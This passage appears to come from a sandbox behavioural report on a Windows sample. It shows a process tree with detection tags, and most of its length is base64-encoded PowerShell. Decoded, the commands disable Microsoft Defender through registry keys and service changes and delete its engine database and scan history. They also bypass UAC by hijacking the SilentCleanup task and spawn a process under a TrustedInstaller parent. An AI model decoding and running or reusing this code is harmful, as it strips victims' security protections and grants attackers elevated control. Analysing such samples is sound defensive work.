VwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
              4⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:996
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\system32\sc.exe" qc windefend
                5⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:6136
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:5260
              • C:\Windows\SysWOW64\whoami.exe
                "C:\Windows\system32\whoami.exe" /groups
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:5728
              • C:\Windows\SysWOW64\net1.exe
                "C:\Windows\system32\net1.exe" start TrustedInstaller
                5⤵
                • System Location Discovery: System Language Discovery
                PID:5384
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
              4⤵
